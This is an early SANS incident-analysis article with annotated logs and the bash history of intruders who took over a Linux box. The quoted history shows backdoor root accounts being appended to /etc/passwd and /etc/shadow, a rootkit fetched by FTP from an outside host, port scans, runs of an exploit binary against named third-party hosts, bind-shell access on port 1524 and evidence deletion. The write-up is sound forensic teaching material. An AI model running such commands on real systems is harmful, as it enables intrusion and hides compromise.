Version 1.0 January 25, 2000

Stephen Northcutt

Many GIAC readers are experienced at handling compromised systems, they do it every day and do not have to think about it. However, many people have never thought about a system compromise until they face one. This is the story of a Linux box that was overtaken by hackers, and used to attack many other systems, we offer it in the hope you can learn from this. Mostly the material is presented "as is" with some additional comments. You should know that many times the files left behind are inaccurate or incomplete. NEVER assume you can repair a compromised system simply by fixing the binaries mentioned in a history file, even so we do find this educational. If you have information of this type and are willing to share with your community please send email to intrusion@sans.org We will start with the note from the system administrator.

+++

Hi Stephen,

Thank you for your offer to help analyze the logs for my hacked Linux Box 10.33.151.244. I appended my logs and other useful info such as a script left behind by the hacker to the end of this message. As you can see I captured a lot of information. My guess is that the attacker couldn't clean up after himself because he messed up my computer too much and he could not log back in. But maybe he was just sloppy. I don't know. One thing is for sure though: He left the computer in such a state that I could not log in remotely anymore and I had to reinstall Linux.

I also found out that he replaced my login and in.identd binaries. I also included two emails from other sysadmins. These are useful in that they help identify the means the attacker tried to get into other systems.

Please let me know if you guys can find out more about how he got in and what he exactly did. And in particular: What I need to do to avoid such attacks in the future. 

Thanks for your help.
-kornel

+++

( The system’s log files yield some significant clues, let’s start by looking at these. First note the date, the time between December 22 and January 02 is always a very dangerous time. Many systems are unattended, but left on. From my review of the logs, I never see an entry point per se the system is already compromised.)

--------------------------------------------------

/var/log/messages excerpt showing hacker activity

--------------------------------------------------

Dec 23 23:54:46 turing PAM_pwdb[19261]: (login) 

session opened for user danz by (uid=0)

Dec 23 23:55:06 turing PAM_pwdb[19273]: (su) 

session opened for user rmfc by danz(uid=1)

Dec 23 23:58:58 turing telnetd[19278]: ttloop: peer died: Invalid or

incomplete multibyte or wide character

Dec 24 00:01:00 turing PAM_pwdb[19286]: 

(su) session opened for user news by(uid=0)

Dec 24 00:01:01 turing PAM_pwdb[19286]: 

(su) session closed for user news

Dec 24 00:01:06 turing identd[19321]: 

Connection from Irc.mcs.net

Dec 24 00:01:06 turing identd[19321]: from: 

192.160.127.97 ( Irc.mcs.net )for: 1143, 6667

Dec 24 00:03:35 turing ftpd[19337]: FTP LOGIN FROM chris @

ns.northernpines.net [209.91.156.22], rmfc

Dec 24 00:04:10 turing ftpd[19337]: FTP session closed

Dec 24 00:08:15 turing kernel: nfs: 

RPC call returned error 111

Dec 24 00:08:15 turing kernel: RPC: 

task of released request still queued!

Dec 24 00:08:15 turing kernel: RPC: 

(task is on xprt_pending)

Dec 24 00:08:15 turing kernel: 

nfs_revalidate_inode: /// getattr failed,

ino=3, error=-111

+++
 

------------------------------------------------- bash_history excerpt showing hacker activity ------------------------------------------------- w	Here are the names of our apparent actors, danz and rmfc
uname -rsa echo "danz:x:1:1:danz:/:/bin/sh" >> /etc/passwd; echo "danz:iUCNir1cd8pI2:::::::" >> /etc/shadow; echo "rmfc:z:0:0:rmfc:/:/bin/sh" >> /etc/passwd; echo "rmfc:iUCNir1cd8pI2:::::::" >> /etc/shadow; exit echo "dan" >> /root/.fakeid irc danz irc.mcs.net cat /etc/passwd pico /etc/passwd pico /etc/shadow g pico /etc/shadow	Uname gives information about the system. The attacker is adding themselves to the password and shadow password file.
finger kornel w ps aux w cat /proc/cpuinfo cd /root ls -la .ssh	The attacker is getting information about the system owner using the finger command.
ftp clio.trends.ca gunzip rh6.tgz tar -xvf rh6.tar cp .dc.t .ssh/.ssh rm -rf .dc.t rm -rf *.tar cd .ssh ls -la pico .ssh/.dc ls ./pine ls ./c ./c /root/.ssh/ i spears pine r	The attacker FTPs to another system and apparently brings down a rootkit, rh6.tgz or similar. Note what they do to secure shell!
pico cfbotchk ./cfbotchk ls rm -rf c d eggcron filesys/ pico /etc/hosts/allow pico /etc/hosts.allow pico /etc/hosts.deny ps aux telnmet	Bots! This is all about IRC! So many compromised systems end up being about IRC.
telnet localhost 1524 cd /root/.ssh cd .ssh pico d.c.t pico .dc.t cd /tmp w irc danz irc.mcs.ent ls -la make aa	Presumably the bot is accessed on port 1524
chmod +x amdbind mv amdbind amd rm -rf aa.c mv aa bind ls -al ./bind ./bind 198 111 & ./amd ls -la ls -la cd /tmp w ls -la cat amdex.vuln w cd /tmp ls -la cat amdex.vuln pico amdex.vuln ls cd /tmp ls -al pico amdex.vuln pico amdex.vuln cat amdex.vuln	Compromised version of bind, anyone know more about this?
telnet 198.172.1.241 1524 cat amdex.vuln killall -9 aa ls -la rm -rf amdex.vuln killall -9 bind ./bind ./bind 128 111 & cd /tmp	Some system is being accessed on port 1524 another bot possibly.
./amd ns.northernpines.net telnet ns.northernpines.net 1524 cd /tmp ls -al cat aqmde cat amdex.vuln rm -rf amdex.vuln irc danz irc.mcs.net ls ./amd infostations.com telnet infostations.com 1524 cd/ usr/sbin cd /usr/sbin irc danz2 irc.mcs.net cat /bin/tcp.log cd /tmp sl -al ls -al ps aux ls -al	The plot continues to thicken, the attacker appears to have a large network of systems, add a nameserver to the list.
make pscan rm -rf opsca rm -rf pscan.c mv pscan ps ./ps 198.172 23 4 ./ps 198.172 53 4 ./ps 198.172 111 4 cd /usr/sbin irc dan0 irc.mcs.net cd /tmp ls -la ./ps 198.139 111 205 ./ps 198.139 23 205 /sbin/arp -a ./ps 198.151 111 170 ./ps 198.151 23 170 ./ps 198.151 53 170 telnet 198.151.170.1 telnet 198.172.87.100 cd /tmp ls -la ps aux w killall -9 telnet ls -la netstat killall -9 netstat ls -al ls -al ls -la ls -al telnet 128.122.180.69 1524 telnet 128.122.180.69 TERM=vt555 telnet 128.122.180.69 w cd /tmp ls -la cat amdex.vuln wc -l amdex.vuln cd /root/.ssh ls -la ./cfbotchk crontab -l ls pico cfbotchk ls cd /tmp ls -la psa ux ps aux ls -la pico amdex.vuln killall -9 bind cd /usr/sbin irc danz irc.mcs.ent telnet mquinn1.stern.nyu.edu ls -la telnet linus1.cs.olemiss.edu 1524 cd /tmp pico amdex.vuln pico amdex.vuln ./amd 128.97.206.137 pico amdex.vuln ./amd 131.187.103.133 pico amdex.vuln pico amdex.vuln pico amdex.vuln telnet super-linux.uqah.uquebec.ca 1524 telnet super-linux.uqah.uquebec.ca telnet super-linux.uqah.uquebec.ca 1524 telnet super-linux.uqah.uquebec.ca	Pscan is created and then renamed to a legitimate file, ps and then apparently used to scan the 198.172 net for telnet, dns, portmap.
TERM=vt888 telnet super-linux.uqah.uquebec.ca exit cd /usr/sbin irc danz irc.mcs.net TERM=vt888 telnet super-linux.uqah.uquebec.ca pico /etc/inetd.conf TERM=vt100 pico /etc/inetd.conf w telnet server1.amkt.com cd /tmp ls -la pico amdex.vuln pico amdex.vuln ./amd 131.178.1.5 telnet linus1.cs.olemiss.edu 1524 ls -la pico amdex.vuln pico amdex.vuln pico amdex.vuln telnet 136.204.176.69 TERM=vt911 telnet 136.204.176.69 telnet 137.140.8.15 1524 telnet 137.140.8.15 ERM=vt123 TERM=vt123 telnet 137.140.8.15 cd /usr/sbin irc dan0 irc.mcs.net echo "your computer, linux box,  is hacked by odae"|mail root@210.219.86.189 ./amd cd tmp ./amd www.cosc.morrisville.edu	Note the special termcap, vt888 this is often used as authentication.
rm -rf amd cd /tmp ./amd www.cosc.morrisville.edu telnet www.cosc.morrisville.edu 1524 telnet www.cosc.morrisville.edu 1524 ls pico amdex.vuln pico amdex.vuln cd /usr/sbin irc danx irc.mcs.net telnet WRDSX.Wharton.UPENN.EDU ftp clio.trends.ac ftp clio.trends.ac ftp clio.trends.ca irc danx irc.mcs.net rm -rf .dc.t rh6.tgz cd /tmp ls -la cat amdex.vuln ./amd 134.130.49.201 telnet ns.environ.hiroshima-u.ac.jp TERM=vt110 telnet ns.environ.hiroshima-u.ac.jp cd /tmp ls -la ./amd 198.151.170.1 pico amdex.vuln ./amd 134.130.49.201 pico amdex.vuln	Here the attacker uses rm to delete evidence.